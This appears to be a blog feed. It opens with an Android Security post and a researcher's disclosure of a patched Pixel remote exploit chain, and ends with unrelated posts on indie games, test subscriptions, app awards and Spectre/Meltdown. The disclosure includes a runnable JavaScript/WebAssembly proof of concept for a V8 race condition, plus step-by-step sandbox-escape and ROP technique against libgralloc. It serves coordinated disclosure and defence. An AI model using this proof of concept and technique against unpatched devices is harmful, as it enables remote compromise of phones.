Android Security Ecosystem Investments Pay Dividends for Pixel

Posted by Mayank Jain and Scott Roberts of the Android Security team

In June 2017, the Android security team increased the top payouts for the Android Security Rewards (ASR) program and worked with researchers to streamline the exploit submission process. In August 2017, Guang Gong (@oldfresher) of Alpha Team, Qihoo 360 Technology Co. Ltd. submitted the first working remote exploit chain since the ASR program’s expansion. For his detailed report, Gong was awarded $105,000, which is the highest reward in the history of the ASR program and $7500 by Chrome Rewards program for a total of $112,500. The complete set of issues was resolved as part of the December 2017 monthly security update. Devices with the security patch level of 2017-12-05 or later are protected from these issues.

All Pixel devices or partner devices using A/B (seamless) system updates will automatically install these updates; users must restart their devices to complete the installation.

The Android Security team would like to thank Guang Gong and the researcher community for their contributions to Android security. If you’d like to participate in Android Security Rewards program, check out our Program rules. For tips on how to submit reports, see Bug Hunter University.

The following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd.

Technical details of a Pixel remote exploit chain

The Pixel phone is protected by many layers of security. It was the only device that was not pwned in the 2017 Mobile Pwn2Own competition. But in August 2017, my team discovered a remote exploit chain—the first of its kind since the ASR program expansion. Thanks to the Android security team for their responsiveness and help during the submission process.

This blog post covers the technical details of the exploit chain. The exploit chain includes two bugs, CVE-2017-5116 and CVE-2017-14904. CVE-2017-5116 is a V8 engine bug that is used to get remote code execution in sandboxed Chrome render process. CVE-2017-14904 is a bug in Android’s libgralloc module that is used to escape from Chrome’s sandbox. Together, this exploit chain can be used to inject arbitrary code into system_server by accessing a malicious URL in Chrome. To reproduce the exploit, an example vulnerable environment is Chrome 60.3112.107 + Android 7.1.2 (Security patch level 2017-8-05) (google/sailfish/sailfish:7.1.2/NJH47F/4146041:user/release-keys). 

The RCE bug (CVE-2017-5116)

New features usually bring new bugs. V8 6.0 introduces support for SharedArrayBuffer, a low-level mechanism to share memory between JavaScript workers and synchronize control flow across workers. SharedArrayBuffers give JavaScript access to shared memory, atomics, and futexes. WebAssembly is a new type of code that can be run in modern web browsers— it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages, such as C/C++, with a compilation target so that they can run on the web. By combining the three features, SharedArrayBuffer WebAssembly, and web worker in Chrome, an OOB access can be triggered through a race condition. Simply speaking, WebAssembly code can be put into a SharedArrayBuffer and then transferred to a web worker. When the main thread parses the WebAssembly code, the worker thread can modify the code at the same time, which causes an OOB access.

The buggy code is in the function GetFirstArgumentAsBytes where the argument args may be an ArrayBuffer or TypedArray object. After SharedArrayBuffer is imported to JavaScript, a TypedArray may be backed by a SharedArraybuffer, so the content of the TypedArray may be modified by other worker threads at any time.

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(
    const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {
  ......
  } else if (source->IsTypedArray()) {    //--->source should be checked if it's backed by a SharedArrayBuffer
    // A TypedArray was passed.
    Local<TypedArray> array = Local<TypedArray>::Cast(source);
    Local<ArrayBuffer> buffer = array->Buffer();
    ArrayBuffer::Contents contents = buffer->GetContents();
    start =
        reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();
    length = array->ByteLength();
  } 
  ......
  return i::wasm::ModuleWireBytes(start, start + length);
}

A simple PoC is as follows:

<html>
<h1>poc</h1>
<script id="worker1">
worker:{
       self.onmessage = function(arg) {
        console.log("worker started");
        var ta = new Uint8Array(arg.data);
        var i =0;
        while(1){
            if(i==0){
                i=1;
                ta[51]=0;   //--->4)modify the webassembly code at the same time
            }else{
                i=0;
                ta[51]=128;
            }
        }
    }
}
</script>
<script>
function getSharedTypedArray(){
    var wasmarr = [
        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
        0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
        0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
        0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
        0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
        0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
        0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];
    var sb = new SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code in a SharedArrayBuffer
    var sta = new Uint8Array(sb);
    for(var i=0;i<sta.length;i++)
        sta[i]=wasmarr[i];
    return sta;    
}
var blob = new Blob([
        document.querySelector('#worker1').textContent
        ], { type: "text/javascript" })

var worker = new Worker(window.URL.createObjectURL(blob));   //---> 2)create a web worker
var sta = getSharedTypedArray();
worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the web worker
setTimeout(function(){
        while(1){
        try{
        sta[51]=0;
        var myModule = new WebAssembly.Module(sta);          //--->4)parse the WebAssembly code
        var myInstance = new WebAssembly.Instance(myModule);
        //myInstance.exports.getAnswerPlus1();
        }catch(e){
        }
        }
    },1000);

//worker.terminate(); 
</script>
</html>

The text format of the WebAssembly code is as follows:

00002b func[0]:
00002d: 41 2a                      | i32.const 42
00002f: 0b                         | end
000030 func[1]:
000032: 10 00                      | call 0
000034: 41 01                      | i32.const 1
000036: 6a                         | i32.add
000037: 0b                         | end

First, the above binary format WebAssembly code is put into a SharedArrayBuffer, then a TypedArray Object is created, using the SharedArrayBuffer as buffer. After that, a worker thread is created and the SharedArrayBuffer is passed to the newly created worker thread. While the main thread is parsing the WebAssembly Code, the worker thread modifies the SharedArrayBuffer at the same time. Under this circumstance, a race condition causes a TOCTOU issue. After the main thread’s bound check, the instruction ” call 0″ can be modified by the worker thread to “call 128” and then be parsed and compiled by the main thread, so an OOB access occurs.

Because the “call 0” Web Assembly instruction can be modified to call any other Web Assembly functions, the exploitation of this bug is straightforward. If “call 0” is modified to “call $leak”, registers and stack contents are dumped to Web Assembly memory. Because function 0 and function $leak have a different number of arguments, this results in many useful pieces of data in the stack being leaked.

 (func $leak(param i32 i32 i32 i32 i32 i32)(result i32)
    i32.const 0
    get_local 0
    i32.store
    i32.const 4
    get_local 1
    i32.store
    i32.const 8
    get_local 2
    i32.store
    i32.const 12
    get_local 3
    i32.store
    i32.const 16
    get_local 4
    i32.store
    i32.const 20
    get_local 5
    i32.store
    i32.const 0
  ))

Not only the instruction “call 0” can be modified, any “call funcx” instruction can be modified. Assume funcx is a wasm function with 6 arguments as follows, when v8 compiles funcx in ia32 architecture, the first 5 arguments are passed through the registers and the sixth argument is passed through stack. All the arguments can be set to any value by JavaScript:

/*Text format of funcx*/
 (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)
    get_local 5
    get_local 4
    i32.add)

/*Disassembly code of funcx*/
--- Code ---
kind = WASM_FUNCTION
name = wasm#1
compiler = turbofan
Instructions (size = 20)
0x58f87600     0  8b442404       mov eax,[esp+0x4]
0x58f87604     4  03c6           add eax,esi
0x58f87606     6  c20400         ret 0x4
0x58f87609     9  0f1f00         nop

Safepoints (size = 8)

RelocInfo (size = 0)

--- End code ---

When a JavaScript function calls a WebAssembly function, v8 compiler creates a JS_TO_WASM function internally, after compilation, the JavaScript function will call the created JS_TO_WASM function and then the created JS_TO_WASM function will call the WebAssembly function. JS_TO_WASM functions use different call convention, its first arguments is passed through stack. If “call funcx” is modified to call the following JS_TO_WASM function.

/*Disassembly code of JS_TO_WASM function */
--- Code ---
kind = JS_TO_WASM_FUNCTION
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 170)
0x4be08f20     0  55             push ebp
0x4be08f21     1  89e5           mov ebp,esp
0x4be08f23     3  56             push esi
0x4be08f24     4  57             push edi
0x4be08f25     5  83ec08         sub esp,0x8
0x4be08f28     8  8b4508         mov eax,[ebp+0x8]
0x4be08f2b     b  e8702e2bde     call 0x2a0bbda0  (ToNumber)    ;; code: BUILTIN
0x4be08f30    10  a801           test al,0x1
0x4be08f32    12  0f852a000000   jnz 0x4be08f62  <+0x42>

The JS_TO_WASM function will take the sixth arguments of funcx as its first argument, but it takes its first argument as an object pointer, so type confusion will be triggered when the argument is passed to the ToNumber function, which means we can pass any values as an object pointer to the ToNumber function. So we can fake an ArrayBuffer object in some address such as in a double array and pass the address to ToNumber. The layout of an ArrayBuffer is as follows:

/* ArrayBuffer layouts 40 Bytes*/                                                                                                                         
Map                                                                                                                                                       
Properties                                                                                                                                                
Elements                                                                                                                                                  
ByteLength                                                                                                                                                
BackingStore                                                                                                                                              
AllocationBase                                                                                                                                            
AllocationLength                                                                                                                                          
Fields                                                                                                                                                    
internal                                                                                                                                                  
internal                                                                                                                                                                                                                                                                                                      


/* Map layouts 44 Bytes*/                                                                                                                                   
static kMapOffset = 0,                                                                                                                                    
static kInstanceSizesOffset = 4,                                                                                                                          
static kInstanceAttributesOffset = 8,                                                                                                                     
static kBitField3Offset = 12,                                                                                                                             
static kPrototypeOffset = 16,                                                                                                                             
static kConstructorOrBackPointerOffset = 20,                                                                                                              
static kTransitionsOrPrototypeInfoOffset = 24,                                                                                                            
static kDescriptorsOffset = 28,                                                                                                                           
static kLayoutDescriptorOffset = 1,                                                                                                                       
static kCodeCacheOffset = 32,                                                                                                                             
static kDependentCodeOffset = 36,                                                                                                                         
static kWeakCellCacheOffset = 40,                                                                                                                         
static kPointerFieldsBeginOffset = 16,                                                                                                                    
static kPointerFieldsEndOffset = 44,                                                                                                                      
static kInstanceSizeOffset = 4,                                                                                                                           
static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,                                                                                           
static kUnusedOffset = 6,                                                                                                                                 
static kVisitorIdOffset = 7,                                                                                                                              
static kInstanceTypeOffset = 8,     //one byte                                                                                                            
static kBitFieldOffset = 9,                                                                                                                               
static kInstanceTypeAndBitFieldOffset = 8,                                                                                                                
static kBitField2Offset = 10,                                                                                                                             
static kUnusedPropertyFieldsOffset = 11

Because the content of the stack can be leaked, we can get many useful data to fake the ArrayBuffer. For example, we can leak the start address of an object, and calculate the start address of its elements, which is a FixedArray object. We can use this FixedArray object as the faked ArrayBuffer’s properties and elements fields. We have to fake the map of the ArrayBuffer too, luckily, most of the fields of the map are not used when the bug is triggered. But the InstanceType in offset 8 has to be set to 0xc3(this value depends on the version of v8) to indicate this object is an ArrayBuffer. In order to get a reference of the faked ArrayBuffer in JavaScript, we have to set the Prototype field of Map in offset 16 to an object whose Symbol.toPrimitive property is a JavaScript call back function. When the faked array buffer is passed to the ToNumber function, to convert the ArrayBuffer object to a Number, the call back function will be called, so we can get a reference of the faked ArrayBuffer in the call back function. Because the ArrayBuffer is faked in a double array, the content of the array can be set to any value, so we can change the field BackingStore and ByteLength of the faked array buffer to get arbitrary memory read and write. With arbitrary memory read/write, executing shellcode is simple. As JIT Code in Chrome is readable, writable and executable, we can overwrite it to execute shellcode.

Chrome team fixed this bug very quickly in chrome 61.0.3163.79, just a week after I submitted the exploit.

The EoP Bug (CVE-2017-14904)

The sandbox escape bug is caused by map and unmap mismatch, which causes a Use-After-Unmap issue. The buggy code is in the functions gralloc_map and gralloc_unmap:

static int gralloc_map(gralloc_module_t const* module,
                       buffer_handle_t handle)
{ ……
    private_handle_t* hnd = (private_handle_t*)handle;
    ……
    if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&
        !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {
        size = hnd->size;
        err = memalloc->map_buffer(&mappedAddress, size,
                                       hnd->offset, hnd->fd);        //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process.
        if(err || mappedAddress == MAP_FAILED) {
            ALOGE("Could not mmap handle %p, fd=%d (%s)",
                  handle, hnd->fd, strerror(errno));
            return -errno;
        }
        hnd->base = uint64_t(mappedAddress) + hnd->offset;          //---> save mappedAddress+offset to hnd->base
    } else {
        err = -EACCES;
}
……
    return err;
}

gralloc_map maps a graphic buffer controlled by the arguments handle to memory space and gralloc_unmap unmaps it. While mapping, the mappedAddress plus hnd->offset is stored to hnd->base, but while unmapping, hnd->base is passed to system call unmap directly minus the offset. hnd->offset can be manipulated from a Chrome’s sandboxed process, so it’s possible to unmap any pages in system_server from Chrome’s sandboxed render process.

static int gralloc_unmap(gralloc_module_t const* module,
                         buffer_handle_t handle)
{
  ……
    if(hnd->base) {
        err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);    //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched.
        if (err) {
            ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base,
                    strerror(errno));
            return -errno;
        }
        hnd->base = 0;
}
……
    return 0;
}

int IonAlloc::unmap_buffer(void *base, unsigned int size,
        unsigned int /*offset*/)                              
//---> look, offset is not used by unmap_buffer
{
    int err = 0;
    if(munmap(base, size)) {
        err = -errno;
        ALOGE("ion: Failed to unmap memory at %p : %s",
              base, strerror(errno));
    }
    return err;
}

Although SeLinux restricts the domain isolated_app to access most of Android system service, isolated_app can still access three Android system services.

52neverallow isolated_app {
53    service_manager_type
54    -activity_service
55    -display_service
56    -webviewupdate_service
57}:service_manager find;

To trigger the aforementioned Use-After-Unmap bug from Chrome’s sandbox, first put a GraphicBuffer object, which is parseable into a bundle, and then call the binder method convertToTranslucent of IActivityManager to pass the malicious bundle to system_server. When system_server handles this malicious bundle, the bug is triggered.

This EoP bug targets the same attack surface as the bug in our 2016 MoSec presentation, A Way of Breaking Chrome’s Sandbox in Android. It is also similar to Bitunmap, except exploiting it from a sandboxed Chrome render process is more difficult than from an app. 

To exploit this EoP bug:

1. Address space shaping. Make the address space layout look as follows, a heap chunk is right above some continuous ashmem mapping:

7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted)
......

2. Unmap part of the heap (1 KB) and part of an ashmem memory (2MB–1KB) by triggering the bug:

7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
//--->There is a 2MB memory gap
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

3. Fill the unmapped space with an ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)  
//--->The gap is filled with the ashmem memory 360alpha1001
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted)

4. Spray the heap and the heap data will be written to the ashmem memory:

7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605          /dev/ashmem/360alpha1001 (deleted)
//--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

5. Because the filled ashmem in step 3 is mapped both by system_server and render process, part of the heap of system_server can be read and written by render process and we can trigger system_server to allocate some GraphicBuffer object in ashmem. As GraphicBuffer is inherited from ANativeWindowBuffer, which has a member named common whose type is android_native_base_t, we can read two function points (incRef and decRef) from ashmem memory and then can calculate the base address of the module libui. In the latest Pixel device, Chrome’s render process is still 32-bit process but system_server is 64-bit process. So we have to leak some module’s base address for ROP. Now that we have the base address of libui, the last step is to trigger ROP. Unluckily, it seems that the points incRef and decRef haven’t been used. It’s impossible to modify it to jump to ROP, but we can modify the virtual table of GraphicBuffer to trigger ROP.

typedef struct android_native_base_t
{
    /* a magic value defined by the actual EGL native type */
    int magic;

    /* the sizeof() of the actual EGL native type */
    int version;

    void* reserved[4];

    /* reference-counting interface */
    void (*incRef)(struct android_native_base_t* base);
    void (*decRef)(struct android_native_base_t* base);
} android_native_base_t;

6.Trigger a GC to execute ROP

When a GraphicBuffer object is deconstructed, the virtual function onLastStrongRef is called, so we can replace this virtual function to jump to ROP. When GC happens, the control flow goes to ROP. Finding an ROP chain in limited module(libui) is challenging, but after hard work, we successfully found one and dumped the contents of the file into /data/misc/wifi/wpa_supplicant.conf .

Summary

The Android security team responded quickly to our report and included the fix for these two bugs in the December 2017 Security Update. Supported Google device and devices with the security patch level of 2017-12-05 or later address these issues. While parsing untrusted parcels still happens in sensitive locations, the Android security team is working on hardening the platform to mitigate against similar vulnerabilities.

The EoP bug was discovered thanks to a joint effort between 360 Alpha Team and 360 C0RE Team. Thanks very much for their effort.

Samsung Electronics Unveils PyeongChang 2018 Olympic Games Limited Edition to Celebrate the Spirit of the Olympic Winter Games PyeongChang 2018

  With less than a month to-go until the Olympic Winter Games PyeongChang 2018, Samsung Electronics, Worldwide Olympic Partner in the Wireless

Meet the finalists of the Google Play Indie Games Contest in Europe

Posted by Adriana Puchianu, Developer Marketing Google Play

Back in October we launched the 2nd edition of the Google Play Indie
Games Contest in Europe
, with the aim to identify, showcase and reward indie
gaming talent from more than 30 countries. We were amazed by the innovation and
creativity that indie developers from the region have to offer.

Selecting just 20 finalists has once again been a huge challenge. We had a lot
of fun playing the games that will go on to showcase at the Saatchi
Gallery
on February 13th in London. Without further ado, we are happy
to announce the Top 20 finalists of this year’s edition. Congratulations to the
finalists and thanks to everyone else who has entered the contest.

A
Planet of Mine


Tuesday Quest

France

Bridge
Constructor Portal


ClockStone Softwareentwicklung GmbH

Austria

Bury
me, my Love


Playdius

France

Captain
Tom Galactic Traveler


Picodongames

France

Core

FURYJAM

Russia

Flat
Pack


Nitrome

United Kingdom

Fern
Flower


Macaque

Poland

I
Love Hue


Zut!

United Kingdom

Jodeo

Gamebra.in

Turkey

Kami
2

State of Play

United Kingdom

Kenshō

FIFTYTWO

Russia

No
More Buttons


Tommy Søreide Kjær

Norway

Old
Man’s Journey


Broken Rules Interactive Media GmbH

Austria

Radium 2 | Ra²

Developster

Germany

The
Big Journey


Catfishbox

Ukraine

The
House of Da Vinci


Blue Brain Games, s.r.o.

Slovakia

The
Office Quest


11Sheep

Israel

Unbalance

TVEE

Turkey

Undervault

Andriy Bychkovskyi

Ukraine

yellow

Bart Bonte

Belgium

Check out the prizes

All the 20 finalists are getting:

  • A paid trip to London to showcase their game at the Final held at Saatchi
    Gallery
  • Inclusion of their game on a promotional billboard in London for 1 month
  • Inclusion of their game in a dedicated Indie Games Contest collection on the
    Indie Corner for one month in more than 40 countries across EMEA
  • Two (2) tickets to attend a 2018 Playtime event, an invitation-only event
    for top apps and games developers on Google Play
  • One (1) Pixel 2 device

They will also have the chance to win more
prizes
at the final event.

Join the Google Play team and the finalists at the final event:

Anyone can now register
to attend the final
showcase event
for free at the Saatchi Gallery in London on 13
February 2018
. Come and play some great games and have fun with indie
developers, industry experts, and the Google Play team.


How useful did you find this blogpost?







Faster Renewals for Test Subscriptions

Testing your in-app subscriptions is a critical step in ensuring you’re offering
your customers a high quality service.

In order to make testing easier and faster, starting on February
20th
, we are introducing shorter renewal intervals for test purchases
made with license-test accounts. Currently, subscriptions by license-test
accounts renew daily. The new changes will allow you to test an entire
subscription cycle, including 6 renewals, in under an hour. We will also be
shortening the testing time intervals of features such as grace period and
account hold.

Please be aware that these changes are coming so you can update your testing
flows accordingly prior to the change. Also note that existing test
subscriptions still active on February 20, 2018 will automatically be canceled
at that time.

Renewal times

Renewal times will vary based on the subscription period:

Subscription period Test subscription period
1 week 5 minutes
1 month 5 minutes
3 month 10 minutes
6 month 15 minutes
1 year 30 minutes

Time intervals of the following features will also be shortened for test
subscriptions:

Feature Test period
Free trial 3 minutes
Introductory price period Same as test subscription period
Grace period (both 3 and 7 day) 5 minutes
Account hold 10 minutes

Note: These times are approximate; you may see some small
variations in the precise time of an event. To compensate for variation, call
the Google
Play Developer API
to view current status after every subscription
expiration date.

Renewal limit

Due to the increase in renewal frequency, the number of renewals is limited to 6
regular renewals (not including intro price/free trial). After 6 renewals, the
subscription will be automatically canceled.

Examples

Here are several examples of how the new renewal times are applied.

Free trial

Grace period

Account hold

Don’t forget to check the Testing
In-app Billing
page for more details on testing your subscriptions. If you
still have questions, reach out through the comments or post your question on Stackoverflow using the tag google-play.

CategoriesUncategorized

Android Excellence: Congratulations to the newly added apps and games

Posted by Kacey Fahey, Developer Marketing, Google Play

Kicking off the new year, we’re excited to welcome our latest group of Android Excellence apps and games. These awardees represent some of the best experiences and top performing apps and games on the Play Store and can be found with other great selections on the Editors’ Choice page.

If you’re looking for some new apps, below are a few highlights.

  • EyeEm: A great photo editor app with a full suite of filters and tools to make your pictures shine. Learn style tips from their community and even sell your images through the EyeEm marketplace.
  • Musixmatch: Check out Musixmatch’s updated app while learning the lyrics to all your favorite songs. The app is compatible with many of the top music streaming services and you can even follow along with your Android Wear device or on the big screen with Chromecast support.
  • ViewRanger: Plan your next hiking adventure by discovering new routes and trail guides with ViewRanger. Check out the Skyline feature using your phone’s camera to identify over 9 million sites across the world through augmented reality.

Here are a few of our favorite new games joining the collection.

  • Fire Emblem Heroes: Nintendo’s popular strategy-RPG franchise is now reimagined for mobile. Fight battles, develop your heroes’ skills, and try various gameplay modes for hours of exciting gameplay.
  • Lumino City: Explore the charming papercraft style world in this award-winning puzzle adventure game. The beautiful scenery is all handcrafted.
  • Old Man’s Journey: Gorgeous scenery, an immersive soundtrack, and deep emotion help you uncover the old man’s life stories while you solve puzzles and shape the landscape to determine his future.

Congratulations to the newly added Android Excellence apps and games.

New Android Excellence apps New Android Excellence games
1tap

Acorns

Airbnb

Blink Health

Blinkist

Clue

Ditty

EyeEm

Fabulous

IFTTT

iReader

Journey

KKBOX

LinkedIn

Mobills: Budget Planner

Musixmatch

Shpock

Stocard

Video Editor

ViewRanger

YAZIO

YOP

Agent A

Bit Heroes

Bloons Supermonkey 2

Dancing Line

DEAD WARFARE: Zombie

Dragon Project

Fire Emblem Heroes

Futurama: Worlds of Tomorrow

Idle Heroes

Last Day on Earth: Survival

Lords Mobile

Lumino City

Modern Combat Versus

Old Man’s Journey

The Walking Dead No Man’s Land

War Wings

Explore other great apps and games in the Editors’ Choice section on Google Play and discover best practices to help you build quality apps and games for people to love.

How useful did you find this blogpost?

New Products At CES powered by Android Things

By Venkat Rapaka, Director of Product Management, Google

The Android Things team has been working closely with our partners to create
compelling, secure and thoughtful IoT products. During the Consumer Electronics
Show (CES) in Las Vegas, a number of…

CategoriesUncategorized

Bringing Programmability and NetDevOps to Barcelona for #CLEUR

It’s right around the corner… Cisco Live Europe 2018 in Barcelona, and I absolutely can’t wait!  Every Cisco Live I’ve ever been to, or presented at, has been an amazing experience, but Barcelona is going to be in a league of its own.  From the moment I arrive in Spain on Friday morning the entire […]

Five Things You Can Do to Manage Your Privacy Now

The Internet of Things – the increasingly connected world in which we live – is rapidly expanding. We love our convenient and fun ​devices – ​like​ ​personal assistants, wearables, speakers, cameras, TVs, cars, home alarm systems, toys and appliances. But it’s important to understand that connected devices rely on information about us – such as […]

Answering your questions about “Meltdown” and “Spectre”

This week, security vulnerabilities dubbed “Spectre” and “Meltdown” made news headlines. On Wednesday, we explained what these vulnerabilities are and how we’re protecting you against them.

Since then, there’s been considerable discussion about what this means for Google Cloud and the industry at large. Today, we’d like to clear up some confusion and highlight several key considerations for our customers.

What are “Spectre” and “Meltdown”?

Last year, Google’s Project Zero team discovered serious security flaws caused by “speculative execution,” a technique used by most modern processors (CPUs) to optimize performance.

Independent researchers separately discovered and named these vulnerabilities “Spectre” and “Meltdown.” 

Project Zero described three variants of this new class of speculative execution attack. Variant 1 and Variant 2 have been referred to as “Spectre.” Variant 3 has been referred to as “Meltdown.” Most vendors are referring to them by Common Vulnerabilities and Exposures aka “CVE” labels, which are an industry standard way of identifying vulnerabilities.

security-1

There’s no single fix for all three attack variants; each requires protection individually.

Here’s an overview of each variant:

  • Variant 1 (CVE-2017-5753), “bounds check bypass.” This vulnerability affects specific sequences within compiled applications, which must be addressed on a per-binary basis. This variant is currently the basis for concern around browser attacks, Javascript exploitation and vulnerabilities within individual binaries.

  • Variant 2 (CVE-2017-5715), “branch target injection.” This variant may either be fixed by a CPU microcode update from the CPU vendor, or by applying a software protection called “Retpoline” to binaries where concern about information leakage is present. This variant is currently the basis for concern around Cloud Virtualization and “Hypervisor Bypass” concerns that affect entire systems.

  • Variant 3 (CVE-2017-5754), “rogue data cache load.”  This variant is the basis behind the discussion around “KPTI,” or “Kernel Page Table Isolation.” When an attacker already has the ability to run code on a system, they can access memory which they do not have permission to access.

For more information on these variants, please read this week’s Google Security post.

Am I protected from Spectre and Meltdown?  

Google’s engineering teams began working to protect our customers from these vulnerabilities upon our learning of them in June 2017. We applied solutions across the entire suite of Google products, and we collaborated with the industry at large to help protect users across the web.

G Suite and Google Cloud Platform (GCP) are updated to protect against all known attack vectors. Some customers may worry that they have not been protected since they were not asked to reboot their instance. Google Cloud is architected in a manner that enables us to update the environment while providing operational continuity for our customers. Via live migration we can patch our infrastructure without requiring customers to reboot their instances.

Customers who use their own operating systems with Google Cloud services should continue to follow security best practices and apply security updates to their images just as they would for any other operating system vulnerability. We’re providing an up-to-date reference on the availability of vendor patches for common operating systems on our GCE Security Bulletin page.

I’ve heard that Spectre is nearly impossible to protect against. Is this true?

There has been significant concern in particular about “Spectre.” The use of the name “Spectre” to refer to both Variants 1 and 2 has caused some confusion over whether it’s “fixed” or not.

Google Cloud instances are protected against all known inter-VM attacks, regardless of the patch status of the guest environments, and attackers do not have access to any customers’ data as a result of these vulnerabilities. Google Cloud and other public clouds use virtualization technology to isolate neighboring customer workloads. A virtualization component known as a hypervisor connects the physical machine to virtual machines. This hypervisor can be updated to address Variant 2 threats. Google Cloud has updated its hypervisor using “Retpoline,” which addresses all currently known Variant 2 attack methods.

Variant 1 is the basis behind claims that Spectre is nearly impossible to protect against. The difficulty is that Variant 1 affects individual software binaries, so it must be handled by discovering and addressing exploits within each binary.

Risks that Variant 1 would pose to the infrastructure underpinning Google Cloud are addressed by the multiple security controls that make up our layered “defense in depth” security posture. Because Google is in full control of our infrastructure from the hardware up to our secure software development practices, our infrastructure is protected against Variant 1. You can read more about the security foundations of our infrastructure in our whitepaper.

We work continuously to stay ahead of the constantly-evolving threat landscape and will continue to roll out additional protections to address potential risks.

As a user of the public cloud, am I more vulnerable to Spectre and Meltdown than others?

In many respects, public cloud users are better-protected from security vulnerabilities than are users of traditional datacenter-hosted applications. Security best practices rely on discovering vulnerabilities early, and patching them promptly and completely. Each of these activities is aided by the scale and automation that top public cloud providers can offer — for example, few companies maintain a several-hundred-person security research team to find vulnerabilities and patch them before they’re discovered by others or disclosed. Having the ability to update millions of servers in days, without causing user disruption or requiring maintenance windows, is difficult technology to develop but it allows patches and updates to be deployed quickly after they become available, and without user disruption that can damage productivity.

Spectre and Meltdown are new and troubling vulnerabilities, but it’s important to remember that there are many different types of threats that Google (and other cloud providers) protect against every single day. Google’s cloud infrastructure doesn’t rely on any single technology to make it secure. Our stack builds security through progressive layers that deliver defense in depth. From the physical premises to the purpose-built servers, networking equipment, and custom security chips to the low-level software stack running on every machine, our entire hardware infrastructure is Google-controlled, -secured, -built and -hardened.

Is performance impacted?

On most of Google’s workloads, including our cloud infrastructure, we’ve seen negligible impact on performance after applying remediations. This was explained further in our follow-up Security blog post on January 4.

There are many conflicting reports about patch impacts being publicly discussed. In some cases, people have published results of tests that focus solely on making API calls to the operating system, which does not represent the real-world scenario that customer software will encounter. There’s no substitute for testing to determine for yourself what performance you can expect in your actual situation. We believe solutions exist that introduce minimal performance impact, and expect such techniques will be adopted by software vendors over time. We designed and tested our mitigations for this issue to have minimal performance impact, and the rollout has been uneventful.

Where can I get additional information?

  • Our Support page offers a list of affected Google products and will be updated with their current status of mitigation against these risks

  • Our GCP Security Bulletins page will provide notifications as other operating system maintainers publish patches for this vulnerability and as Compute Engine releases updated OS images

Threat Round Up for December 29 – January 5

